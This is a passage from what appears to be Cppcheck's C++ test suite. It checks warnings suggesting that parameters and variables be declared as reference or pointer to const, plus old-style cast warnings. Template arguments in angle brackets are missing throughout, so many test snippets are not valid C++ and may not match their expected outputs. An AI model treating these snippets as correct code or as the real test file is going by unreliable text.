const [constVariableReference]\\n\",\n errout_str());\n\n check(\"void f(std::vector& v) {\\n\" // #10980\n \" for (int& i : v)\\n\"\n \" if (i == 0) {}\\n\"\n \" for (const int& i : v)\\n\"\n \" if (i == 0) {}\\n\"\n \" for (auto& i : v)\\n\"\n \" if (i == 0) {}\\n\"\n \" for (const auto& i : v)\\n\"\n \" if (i == 0) {}\\n\"\n \" v.clear();\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:2:15]: (style) Variable 'i' can be declared as reference to const [constVariableReference]\\n\"\n \"[test.cpp:6:16]: (style) Variable 'i' can be declared as reference to const [constVariableReference]\\n\",\n errout_str());\n\n check(\"void f(std::vector& v) {\\n\"\n \" for(const auto& x:v) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:1:26]: (style) Parameter 'v' can be declared as reference to const [constParameterReference]\\n\", errout_str());\n\n check(\"void f(int& i) {\\n\"\n \" int& j = i;\\n\"\n \" j++;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(std::vector& v) {\\n\"\n \" int& i = v[0];\\n\"\n \" i++;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(std::map >& m, unsigned int i) {\\n\"\n \" std::map& members = m[i];\\n\"\n \" members.clear();\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"struct A {\\n\"\n \" int& x;\\n\"\n \" A(int& y) : x(y)\\n\"\n \" {}\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"struct A {\\n\"\n \" A(int& x);\\n\"\n \"};\\n\"\n \"struct B : A {\\n\"\n \" B(int& x) : A(x)\\n\"\n \" {}\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(bool b, int& x, int& y) {\\n\"\n \" auto& z = x;\\n\"\n \" auto& w = b ? y : z;\\n\"\n \" w = 1;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"struct S {\\n\"\n \" int i;\\n\"\n \"};\\n\"\n \"int& f(S& s) {\\n\"\n \" return s.i;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"int* f(std::list& x, unsigned int y) {\\n\"\n \" for (int& m : x) {\\n\"\n \" if (m == y)\\n\"\n \" return &m;\\n\"\n \" }\\n\"\n \" return nullptr;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"int& f(std::list& x, int& y) {\\n\"\n \" for (int& m : x) {\\n\"\n \" if (m == y)\\n\"\n \" return m;\\n\"\n \" }\\n\"\n \" return y;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"bool from_string(int& t, const std::string& s) {\\n\"\n \" std::istringstream iss(s);\\n\"\n \" return !(iss >> t).fail();\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // #9710\n check(\"class a {\\n\"\n \" void operator()(int& i) const {\\n\"\n \" i++;\\n\"\n \" }\\n\"\n \"};\\n\"\n \"void f(int& i) {\\n\"\n \" a()(i);\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"class a {\\n\"\n \" void operator()(int& i) const {\\n\"\n \" i++;\\n\"\n \" }\\n\"\n \"};\\n\"\n \"void f(int& i) {\\n\"\n \" a x;\\n\"\n \" x(i);\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"class a {\\n\"\n \" void operator()(const int& i) const;\\n\"\n \"};\\n\"\n \"void f(int& i) {\\n\"\n \" a x;\\n\"\n \" x(i);\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:4:13]: (style) Parameter 'i' can be declared as reference to const [constParameterReference]\\n\", errout_str());\n\n //cast or assignment to a non-const reference should prevent the warning\n check(\"struct T { void dostuff() const {}};\\n\"\n \"void a(T& x) {\\n\"\n \" x.dostuff();\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:11]: (style) Parameter 'x' can be declared as reference to const [constParameterReference]\\n\", errout_str());\n check(\"struct T : public U { void dostuff() const {}};\\n\"\n \"void a(T& x) {\\n\"\n \" x.dostuff();\\n\"\n \" const T& z = x;\\n\" // Make sure we find all assignments\n \" T& y = x;\\n\"\n \" y.mutate();\\n\" // to avoid warnings that y can be const\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n check(\"struct T : public U { void dostuff() const {}};\\n\"\n \"void a(T& x) {\\n\"\n \" x.dostuff();\\n\"\n \" const U& y = x\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:11]: (style) Parameter 'x' can be declared as reference to const [constParameterReference]\\n\", errout_str());\n check(\"struct T : public U { void dostuff() const {}};\\n\"\n \"void a(T& x) {\\n\"\n \" x.dostuff();\\n\"\n \" U& y = x;\\n\"\n \" y.mutate();\\n\" // to avoid warnings that y can be const\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n check(\"struct T : public U { void dostuff() const {}};\\n\"\n \"void a(T& x) {\\n\"\n \" x.dostuff();\\n\"\n \" my::type& y = x;\\n\" // we don't know if y is const or not\n \" y.mutate();\\n\" // to avoid warnings that y can be const\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n check(\"struct T : public U { void dostuff() const {}};\\n\"\n \"void a(T& x) {\\n\"\n \" x.dostuff();\\n\"\n \" const U& y = static_cast(x);\\n\"\n \" y.mutate();\\n\" // to avoid warnings that y can be const\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:11]: (style) Parameter 'x' can be declared as reference to const [constParameterReference]\\n\", errout_str());\n check(\"struct T : public U { void dostuff() const {}};\\n\"\n \"void a(T& x) {\\n\"\n \" x.dostuff();\\n\"\n \" U& y = static_cast(x);\\n\"\n \" y.mutate();\\n\" // to avoid warnings that y can be const\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n check(\"struct T : public U { void dostuff() const {}};\\n\"\n \"void a(T& x) {\\n\"\n \" x.dostuff();\\n\"\n \" const U& y = dynamic_cast(x)\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:11]: (style) Parameter 'x' can be declared as reference to const [constParameterReference]\\n\", errout_str());\n check(\"struct T : public U { void dostuff() const {}};\\n\"\n \"void a(T& x) {\\n\"\n \" x.dostuff();\\n\"\n \" const U& y = dynamic_cast(x);\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:11]: (style) Parameter 'x' can be declared as reference to const [constParameterReference]\\n\", errout_str());\n check(\"struct T : public U { void dostuff() const {}};\\n\"\n \"void a(T& x) {\\n\"\n \" x.dostuff();\\n\"\n \" const U& y = dynamic_cast(x);\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:11]: (style) Parameter 'x' can be declared as reference to const [constParameterReference]\\n\", errout_str());\n check(\"struct T : public U { void dostuff() const {}};\\n\"\n \"void a(T& x) {\\n\"\n \" x.dostuff();\\n\"\n \" U& y = dynamic_cast(x);\\n\"\n \" y.mutate();\\n\" // to avoid warnings that y can be const\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n check(\"struct T : public U { void dostuff() const {}};\\n\"\n \"void a(T& x) {\\n\"\n \" x.dostuff();\\n\"\n \" const U& y = dynamic_cast(x);\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:11]: (style) Parameter 'x' can be declared as reference to const [constParameterReference]\\n\", errout_str());\n check(\"struct T : public U { void dostuff() const {}};\\n\"\n \"void a(T& x) {\\n\"\n \" x.dostuff();\\n\"\n \" U& y = dynamic_cast(x);\\n\"\n \" y.mutate();\\n\" // to avoid warnings that y can be const\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n check(\"struct T : public U { void dostuff() const {}};\\n\"\n \"void a(T& x) {\\n\"\n \" x.dostuff();\\n\"\n \" U* y = dynamic_cast(&x);\\n\"\n \" y->mutate();\\n\" // to avoid warnings that y can be const\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"struct T : public U { void dostuff() const {}};\\n\"\n \"void a(T& x) {\\n\"\n \" x.dostuff();\\n\"\n \" const U * y = dynamic_cast(&x);\\n\"\n \" y->mutate();\\n\" // to avoid warnings that y can be const\n \"}\");\n TODO_ASSERT_EQUALS(\"can be const\", errout_str(), \"\"); //Currently taking the address is treated as a non-const operation when it should depend on what we do with it\n check(\"struct T : public U { void dostuff() const {}};\\n\"\n \"void a(T& x) {\\n\"\n \" x.dostuff();\\n\"\n \" U const * y = dynamic_cast(&x);\\n\"\n \" y->mutate();\\n\" // to avoid warnings that y can be const\n \"}\");\n TODO_ASSERT_EQUALS(\"can be const\", errout_str(), \"\"); //Currently taking the address is treated as a non-const operation when it should depend on what we do with it\n check(\"struct T : public U { void dostuff() const {}};\\n\"\n \"void a(T& x) {\\n\"\n \" x.dostuff();\\n\"\n \" const U const * const * const * const y = dynamic_cast(&x);\\n\"\n \" y->mutate();\\n\" // to avoid warnings that y can be const\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n check(\"struct T : public U { void dostuff() const {}};\\n\"\n \"void a(T& x) {\\n\"\n \" x.dostuff();\\n\"\n \" const U const * const * const * const y = dynamic_cast(&x);\\n\"\n \" y->mutate();\\n\" // to avoid warnings that y can be const\n \"}\");\n TODO_ASSERT_EQUALS(\"can be const\", errout_str(), \"\"); //Currently taking the address is treated as a non-const operation when it should depend on what we do with it\n check(\"struct T : public U { void dostuff() const {}};\\n\"\n \"void a(T& x) {\\n\"\n \" x.dostuff();\\n\"\n \" const U const * const * * const y = dynamic_cast(&x);\\n\"\n \" y->mutate();\\n\" // to avoid warnings that y can be const\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n check(\"struct T : public U { void dostuff() const {}};\\n\"\n \"void a(T& x) {\\n\"\n \" x.dostuff();\\n\"\n \" my::fancy const * const * const y = dynamic_cast const * const * const>(&x);\\n\"\n \" y->mutate();\\n\" // to avoid warnings that y can be const\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"struct T : public U { void dostuff() const {}};\\n\"\n \"void a(T& x) {\\n\"\n \" x.dostuff();\\n\"\n \" const U& y = (const U&)(x);\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:4:18]: (warning) Potentially invalid type conversion in old-style C cast, clarify/fix with C++ cast [dangerousTypeCast]\\n\"\n \"[test.cpp:2:11]: (style) Parameter 'x' can be declared as reference to const [constParameterReference]\\n\",\n errout_str());\n check(\"struct T : public U { void dostuff() const {}};\\n\"\n \"void a(T& x) {\\n\"\n \" x.dostuff();\\n\"\n \" U& y = (U&)(x);\\n\"\n \" y.mutate();\\n\" // to avoid warnings that y can be const\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:4:12]: (warning) Potentially invalid type conversion in old-style C cast, clarify/fix with C++ cast [dangerousTypeCast]\\n\", errout_str());\n check(\"struct T : public U { void dostuff() const {}};\\n\"\n \"void a(T& x) {\\n\"\n \" x.dostuff();\\n\"\n \" const U& y = (typename const U&)(x);\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:4:18]: (warning) Potentially invalid type conversion in old-style C cast, clarify/fix with C++ cast [dangerousTypeCast]\\n\"\n \"[test.cpp:2:11]: (style) Parameter 'x' can be declared as reference to const [constParameterReference]\\n\",\n errout_str());\n check(\"struct T : public U { void dostuff() const {}};\\n\"\n \"void a(T& x) {\\n\"\n \" x.dostuff();\\n\"\n \" U& y = (typename U&)(x);\\n\"\n \" y.mutate();\\n\" // to avoid warnings that y can be const\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:4:12]: (warning) Potentially invalid type conversion in old-style C cast, clarify/fix with C++ cast [dangerousTypeCast]\\n\", errout_str());\n check(\"struct T : public U { void dostuff() const {}};\\n\"\n \"void a(T& x) {\\n\"\n \" x.dostuff();\\n\"\n \" U* y = (U*)(&x);\\n\"\n \" y->mutate();\\n\" // to avoid warnings that y can be const\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:4:12]: (warning) Potentially invalid type conversion in old-style C cast, clarify/fix with C++ cast [dangerousTypeCast]\\n\", errout_str());\n\n check(\"struct C { void f() const; };\\n\" // #9875 - crash\n \"\\n\"\n \"void foo(C& x) {\\n\"\n \" x.f();\\n\"\n \" foo( static_cast(0) );\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:13]: (style) Parameter 'x' can be declared as reference to const [constParameterReference]\\n\", errout_str());\n\n check(\"class a {\\n\"\n \" void foo(const int& i) const;\\n\"\n \" void operator()(int& i) const;\\n\"\n \"};\\n\"\n \"void f(int& i) {\\n\"\n \" a()(i);\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"class a {\\n\"\n \" void operator()(const int& i) const;\\n\"\n \"};\\n\"\n \"void f(int& i) {\\n\"\n \" a()(i);\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:4:13]: (style) Parameter 'i' can be declared as reference to const [constParameterReference]\\n\", errout_str());\n\n // #9767\n check(\"void fct1(MyClass& object) {\\n\"\n \" fct2([&](void){}, object);\\n\"\n \"}\\n\"\n \"bool fct2(std::function lambdaExpression, MyClass& object) {\\n\"\n \" object.modify();\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // #9778\n check(\"struct A {};\\n\"\n \"struct B : A {};\\n\"\n \"B& f(A& x) {\\n\"\n \" return static_cast(x);\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // #10002\n check(\"using A = int*;\\n\"\n \"void f(const A& x) {\\n\"\n \" ++(*x);\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // #10086\n check(\"struct V {\\n\"\n \" V& get(typename std::vector::size_type i) {\\n\"\n \" std::vector& arr = v;\\n\"\n \" return arr[i];\\n\"\n \" }\\n\"\n \" std::vector v;\\n\"\n \"};\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void e();\\n\"\n \"void g(void);\\n\"\n \"void h(void);\\n\"\n \"void ah(void);\\n\"\n \"void ai(void);\\n\"\n \"void j(void);\\n\"\n \"void e(void);\\n\"\n \"void k(void);\\n\"\n \"void l(void);\\n\"\n \"void m(void);\\n\"\n \"void n(void);\\n\"\n \"void o(void);\\n\"\n \"void q(void);\\n\"\n \"void r(void);\\n\"\n \"void t(void);\\n\"\n \"void u(void);\\n\"\n \"void v(void);\\n\"\n \"void w(void);\\n\"\n \"void z(void);\\n\"\n \"void aj(void);\\n\"\n \"void am(void);\\n\"\n \"void g(void);\\n\"\n \"void h(void);\\n\"\n \"void ah(void);\\n\"\n \"void an(void);\\n\"\n \"void e(void);\\n\"\n \"void k(void);\\n\"\n \"void ao(wchar_t *d);\\n\"\n \"void ah(void);\\n\"\n \"void e(void);\\n\"\n \"void an(void);\\n\"\n \"void e(void);\\n\"\n \"void k(void);\\n\"\n \"void g(void);\\n\"\n \"void ah(void);\\n\"\n \"void an(void);\\n\"\n \"void e(void);\\n\"\n \"void e(void);\\n\"\n \"void e(void);\\n\"\n \"void k(void);\\n\"\n \"void g(void);\\n\"\n \"void ah(void);\\n\"\n \"void an(void);\\n\"\n \"void e(void);\\n\"\n \"void e(void);\\n\"\n \"void k(void);\\n\"\n \"void g(void);\\n\"\n \"void h(void);\\n\"\n \"void ah(void);\\n\"\n \"void an(void);\\n\"\n \"void e(void);\\n\"\n \"void k(void);\\n\"\n \"void e(void);\\n\"\n \"void g(void);\\n\"\n \"void ah(void);\\n\"\n \"void k(void);\\n\"\n \"void an(void);\\n\"\n \"void e(void);\\n\"\n \"void e(void);\\n\"\n \"void e(void);\\n\"\n \"void k(void);\\n\"\n \"void g(void);\\n\"\n \"void h(void);\\n\"\n \"void ah(void);\\n\"\n \"void k(void);\\n\"\n \"void an(void);\\n\"\n \"void k(void);\\n\"\n \"void e(void);\\n\"\n \"void g(void);\\n\"\n \"void ah(void);\\n\"\n \"void e(void);\\n\"\n \"void k(void);\\n\"\n \"void g(void);\\n\"\n \"void h(void);\\n\"\n \"void ah(void);\\n\"\n \"void an(void);\\n\"\n \"void an(void);\\n\"\n \"void k(void);\\n\"\n \"void e(void);\\n\"\n \"void e(void);\\n\"\n \"void e(void);\\n\"\n \"void g(void);\\n\"\n \"void k(void);\\n\"\n \"void g(void);\\n\"\n \"void h(void);\\n\"\n \"void ah(void);\\n\"\n \"void an(void);\\n\"\n \"void k(void);\\n\"\n \"void k(void);\\n\"\n \"void e(void);\\n\"\n \"void g(void);\\n\"\n \"void g(void);\\n\"\n \"void ah(void);\\n\"\n \"void an(void);\\n\"\n \"void e(void);\\n\"\n \"void k(void);\\n\"\n \"void e(void);\\n\"\n \"void ap(wchar_t *c, int d);\\n\"\n \"void ah(void);\\n\"\n \"void an(void);\\n\"\n \"void g(void);\\n\"\n \"void h(void);\\n\"\n \"void ah(void);\\n\"\n \"void aq(char *b, size_t d, char *c, int a);\\n\"\n \"void ar(char *b, size_t d, char *c, va_list a);\\n\"\n \"void k(void);\\n\"\n \"void g(void);\\n\"\n \"void g(void);\\n\"\n \"void h(void);\\n\"\n \"void ah(void);\\n\"\n \"void an(void);\\n\"\n \"void k(void);\\n\"\n \"void k(void);\\n\"\n \"void e(void);\\n\"\n \"void g(void);\\n\"\n \"void g(void);\\n\"\n \"void as(std::string s);\\n\"\n \"void at(std::ifstream &f);\\n\"\n \"void au(std::istream &f);\\n\"\n \"void av(std::string &aa, std::wstring &ab);\\n\"\n \"void aw(bool b, double x, double y);\\n\"\n \"void ax(int i);\\n\"\n \"void ay(std::string c, std::wstring a);\\n\"\n \"void az(const std::locale &ac);\\n\"\n \"void an();\\n\"\n \"void ba(std::ifstream &f);\\n\"\n \"void bb(std::istream &f) {\\n\"\n \"f.read(NULL, 0);\\n\"\n \"}\\n\"\n \"void h(void) {\\n\"\n \"struct tm *tm = 0;\\n\"\n \"(void)std::asctime(tm);\\n\"\n \"(void)std::asctime(0);\\n\"\n \"}\\n\"\n \"void bc(size_t ae) {\\n\"\n \"wchar_t *ad = 0, *af = 0;\\n\"\n \"struct tm *ag = 0;\\n\"\n \"(void)std::wcsftime(ad, ae, af, ag);\\n\"\n \"(void)std::wcsftime(0, ae, 0, 0);\\n\"\n \"}\\n\"\n \"void k(void) {}\\n\"\n \"void bd(void);\\n\"\n \"void be(void);\\n\"\n \"void bf(int b);\\n\"\n \"void e(void);\\n\"\n \"void e(void);\\n\"\n \"void bg(wchar_t *p);\\n\"\n \"void bh(const std::list &ak, const std::list &al);\\n\"\n \"void ah();\\n\"\n \"void an();\\n\"\n \"void h();\");\n ASSERT_EQUALS(\"[test.cpp:131:12]: (style) Variable 'tm' can be declared as pointer to const [constVariablePointer]\\n\"\n \"[test.cpp:136:19]: (style) Variable 'af' can be declared as pointer to const [constVariablePointer]\\n\"\n \"[test.cpp:137:12]: (style) Variable 'ag' can be declared as pointer to const [constVariablePointer]\\n\",\n errout_str());\n\n check(\"class C\\n\"\n \"{\\n\"\n \"public:\\n\"\n \" explicit C(int&);\\n\"\n \"};\\n\"\n \"\\n\"\n \"class D\\n\"\n \"{\\n\"\n \"public:\\n\"\n \" explicit D(int&);\\n\"\n \"\\n\"\n \"private:\\n\"\n \" C c;\\n\"\n \"};\\n\"\n \"\\n\"\n \"D::D(int& i)\\n\"\n \" : c(i)\\n\"\n \"{\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"class C\\n\"\n \"{\\n\"\n \"public:\\n\"\n \" explicit C(int&);\\n\"\n \"};\\n\"\n \"\\n\"\n \"class D\\n\"\n \"{\\n\"\n \"public:\\n\"\n \" explicit D(int&) noexcept;\\n\"\n \"\\n\"\n \"private:\\n\"\n \" C c;\\n\"\n \"};\\n\"\n \"\\n\"\n \"D::D(int& i) noexcept\\n\"\n \" : c(i)\\n\"\n \"{}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"class C\\n\"\n \"{\\n\"\n \"public:\\n\"\n \" explicit C(const int&);\\n\"\n \"};\\n\"\n \"\\n\"\n \"class D\\n\"\n \"{\\n\"\n \"public:\\n\"\n \" explicit D(int&);\\n\"\n \"\\n\"\n \"private:\\n\"\n \" C c;\\n\"\n \"};\\n\"\n \"\\n\"\n \"D::D(int& i)\\n\"\n \" : c(i)\\n\"\n \"{\\n\"\n \"}\");\n TODO_ASSERT_EQUALS(\"[test.cpp:16]: (style) Parameter 'i' can be declared as reference to const\\n\", \"\", errout_str());\n\n check(\"class C\\n\"\n \"{\\n\"\n \"public:\\n\"\n \" explicit C(int);\\n\"\n \"};\\n\"\n \"\\n\"\n \"class D\\n\"\n \"{\\n\"\n \"public:\\n\"\n \" explicit D(int&);\\n\"\n \"\\n\"\n \"private:\\n\"\n \" C c;\\n\"\n \"};\\n\"\n \"\\n\"\n \"D::D(int& i)\\n\"\n \" : c(i)\\n\"\n \"{\\n\"\n \"}\");\n TODO_ASSERT_EQUALS(\"[test.cpp:16]: (style) Parameter 'i' can be declared as reference to const\\n\", \"\", errout_str());\n\n check(\"class C\\n\"\n \"{\\n\"\n \"public:\\n\"\n \" explicit C(int, int);\\n\"\n \"};\\n\"\n \"\\n\"\n \"class D\\n\"\n \"{\\n\"\n \"public:\\n\"\n \" explicit D(int&);\\n\"\n \"\\n\"\n \"private:\\n\"\n \" C c;\\n\"\n \"};\\n\"\n \"\\n\"\n \"D::D(int& i)\\n\"\n \" : c(0, i)\\n\"\n \"{\\n\"\n \"}\");\n TODO_ASSERT_EQUALS(\"[test.cpp:16]: (style) Parameter 'i' can be declared as reference to const\\n\", \"\", errout_str());\n\n check(\"void f(std::map> &map) {\\n\" // #10266\n \" for (auto &[slave, panels] : map)\\n\"\n \" panels.erase(it);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"struct S { void f(); int i; };\\n\"\n \"void call_f(S& s) { (s.*(&S::f))(); }\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"struct S { int a[1]; };\\n\"\n \"void f(S& s) { int* p = s.a; *p = 0; }\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"struct Foo {\\n\" // #9910\n \" int* p{};\\n\"\n \" int* get() { return p; }\\n\"\n \" const int* get() const { return p; }\\n\"\n \"};\\n\"\n \"struct Bar {\\n\"\n \" int j{};\\n\"\n \" void f(Foo& foo) const { int* q = foo.get(); *q = j; }\\n\"\n \"};\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"struct S {\\n\" // #10679\n \" void g(long L, const C*& PC) const;\\n\"\n \" void g(long L, C*& PC);\\n\"\n \"};\\n\"\n \"void f(S& s) {\\n\"\n \" C* PC{};\\n\"\n \" s.g(0, PC);\\n\"\n \"};\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // #10785\n check(\"template \\n\"\n \"struct d {\\n\"\n \" T& g(C& c, T C::*f) { return c.*f; }\\n\"\n \"};\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(std::map& m) {\\n\"\n \" std::cout << m[0] << std::endl;\\n\"\n \"};\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(std::vector>& v) {\\n\" // #11607\n \" for (auto& m : v)\\n\"\n \" std::cout << m[0];\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"struct S { int i; };\\n\" // #11473\n \"void f(std::vector>&m, int*& p) {\\n\"\n \" auto& a = m[0];\\n\"\n \" for (auto& s : a) {\\n\"\n \" p = &s.i;\\n\"\n \" return;\\n\"\n \" }\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"int& g(int* p, int& r) {\\n\" // #11625\n \" if (p)\\n\"\n \" return *p;\\n\"\n \" return r;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"template void f(std::vector& d, const std::vector& s) {\\n\" // #11632\n \" for (const auto& e : s) {\\n\"\n \" T* newE = new T(*e);\\n\"\n \" d.push_back(newE);\\n\"\n \" }\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // #11682\n check(\"struct b {\\n\"\n \" void mutate();\\n\"\n \"};\\n\"\n \"struct c {\\n\"\n \" const b& get() const;\\n\"\n \" b get();\\n\"\n \"};\\n\"\n \"struct d {\\n\"\n \" void f(c& e) const {\\n\"\n \" e.get().mutate();\\n\"\n \" }\\n\"\n \"};\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"struct B { virtual void f() const {} };\\n\" // #11528\n \"struct D : B {};\\n\"\n \"void g(B* b) {\\n\"\n \" D* d = dynamic_cast(b);\\n\"\n \" if (d)\\n\"\n \" d->f();\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\n \"[test.cpp:4:8]: (style) Variable 'd' can be declared as pointer to const [constVariablePointer]\\n\",\n errout_str());\n\n check(\"void g(const int*);\\n\"\n \"void f(const std::vector&v) {\\n\"\n \" for (int* i : v)\\n\"\n \" g(i);\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\n \"[test.cpp:3:15]: (style) Variable 'i' can be declared as pointer to const [constVariablePointer]\\n\",\n errout_str());\n\n check(\"struct A {\\n\" // #11225\n \" A();\\n\"\n \" virtual ~A();\\n\"\n \"};\\n\"\n \"struct B : A {};\\n\"\n \"void f(A* a) {\\n\"\n \" const B* b = dynamic_cast(a);\\n\"\n \"}\\n\"\n \"void g(A* a) {\\n\"\n \" const B* b = (const B*)a;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:10:18]: (warning) Potentially invalid type conversion in old-style C cast, clarify/fix with C++ cast [dangerousTypeCast]\\n\"\n \"[test.cpp:6:11]: (style) Parameter 'a' can be declared as pointer to const [constParameterPointer]\\n\"\n \"[test.cpp:9:11]: (style) Parameter 'a' can be declared as pointer to const [constParameterPointer]\\n\",\n errout_str());\n\n check(\"void g(int*);\\n\"\n \"void f(std::vector& v) {\\n\"\n \" g(v.data());\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void g(const int*);\\n\"\n \"void f(std::vector& v) {\\n\"\n \" g(v.data());\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:2:26]: (style) Parameter 'v' can be declared as reference to const [constParameterReference]\\n\", errout_str());\n\n check(\"struct a {\\n\"\n \" template \\n\"\n \" void mutate();\\n\"\n \"};\\n\"\n \"struct b {};\\n\"\n \"template \\n\"\n \"void f(a& x) {\\n\"\n \" x.mutate();\\n\"\n \"}\\n\"\n \"template \\n\"\n \"void f(const b&)\\n\"\n \"{}\\n\"\n \"void g(a& c) { f(c); }\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"struct S {\\n\"\n \" template \\n\"\n \" T* g() {\\n\"\n \" return reinterpret_cast(m);\\n\"\n \" }\\n\"\n \" template \\n\"\n \" const T* g() const {\\n\"\n \" return reinterpret_cast(m);\\n\"\n \" }\\n\"\n \" char* m;\\n\"\n \"};\\n\"\n \"void f(S& s) {\\n\"\n \" const int* p = s.g();\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"struct S { int x; };\\n\" // #11818\n \"std::istream& f(std::istream& is, S& s) {\\n\"\n \" return is >> s.x;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"bool f(std::string& s1, std::string& s2) {\\n\" // #12203\n \" return &s1 == &s2;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:1:21]: (style) Parameter 's1' can be declared as reference to const [constParameterReference]\\n\"\n \"[test.cpp:1:38]: (style) Parameter 's2' can be declared as reference to const [constParameterReference]\\n\",\n errout_str());\n\n check(\"void f(int& r) {\\n\" // #12214\n \" (void)(true);\\n\"\n \" if (r) {}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:1:13]: (style) Parameter 'r' can be declared as reference to const [constParameterReference]\\n\", errout_str());\n\n check(\"struct S { void f(int&); };\\n\" // #12216\n \"void g(S& s, int& r, void (S::* p2m)(int&)) {\\n\"\n \" (s.*p2m)(r);\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"struct S {\\n\"\n \" void f(int& r) { p = &r; }\\n\"\n \" int* p;\\n\"\n \"};\\n\"\n \"void g(std::vector& v1, std::vector& v2) {\\n\"\n \" std::transform(v1.begin(), v1.end(), v2.begin(), [](auto& x) { return &x; });\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"class T;\\n\" // #11869\n \"class E {\\n\"\n \"public:\\n\"\n \" class F {\\n\"\n \" public:\\n\"\n \" explicit F(const T* t);\\n\"\n \" };\\n\"\n \"};\\n\"\n \"void f(T& t) {\\n\"\n \" std::list c(1, E::F(&t));\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:9:11]: (style) Parameter 't' can be declared as reference to const [constParameterReference]\\n\", errout_str());\n\n check(\"struct T;\\n\"\n \"struct U {\\n\"\n \" struct V { explicit V(const T* p); };\\n\"\n \"};\\n\"\n \"void g(U::V v);\\n\"\n \"void f(T& t) {\\n\"\n \" g(U::V(&t));\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:6:11]: (style) Parameter 't' can be declared as reference to const [constParameterReference]\\n\", errout_str());\n\n check(\"void f1(std::vector& v) {\\n\" // #11207\n \" auto it = v.cbegin();\\n\"\n \" while (it != v.cend()) {\\n\"\n \" if (*it > 12) {}\\n\"\n \" ++it;\\n\"\n \" }\\n\"\n \"}\\n\"\n \"void f2(std::vector& v) {\\n\"\n \" auto it = 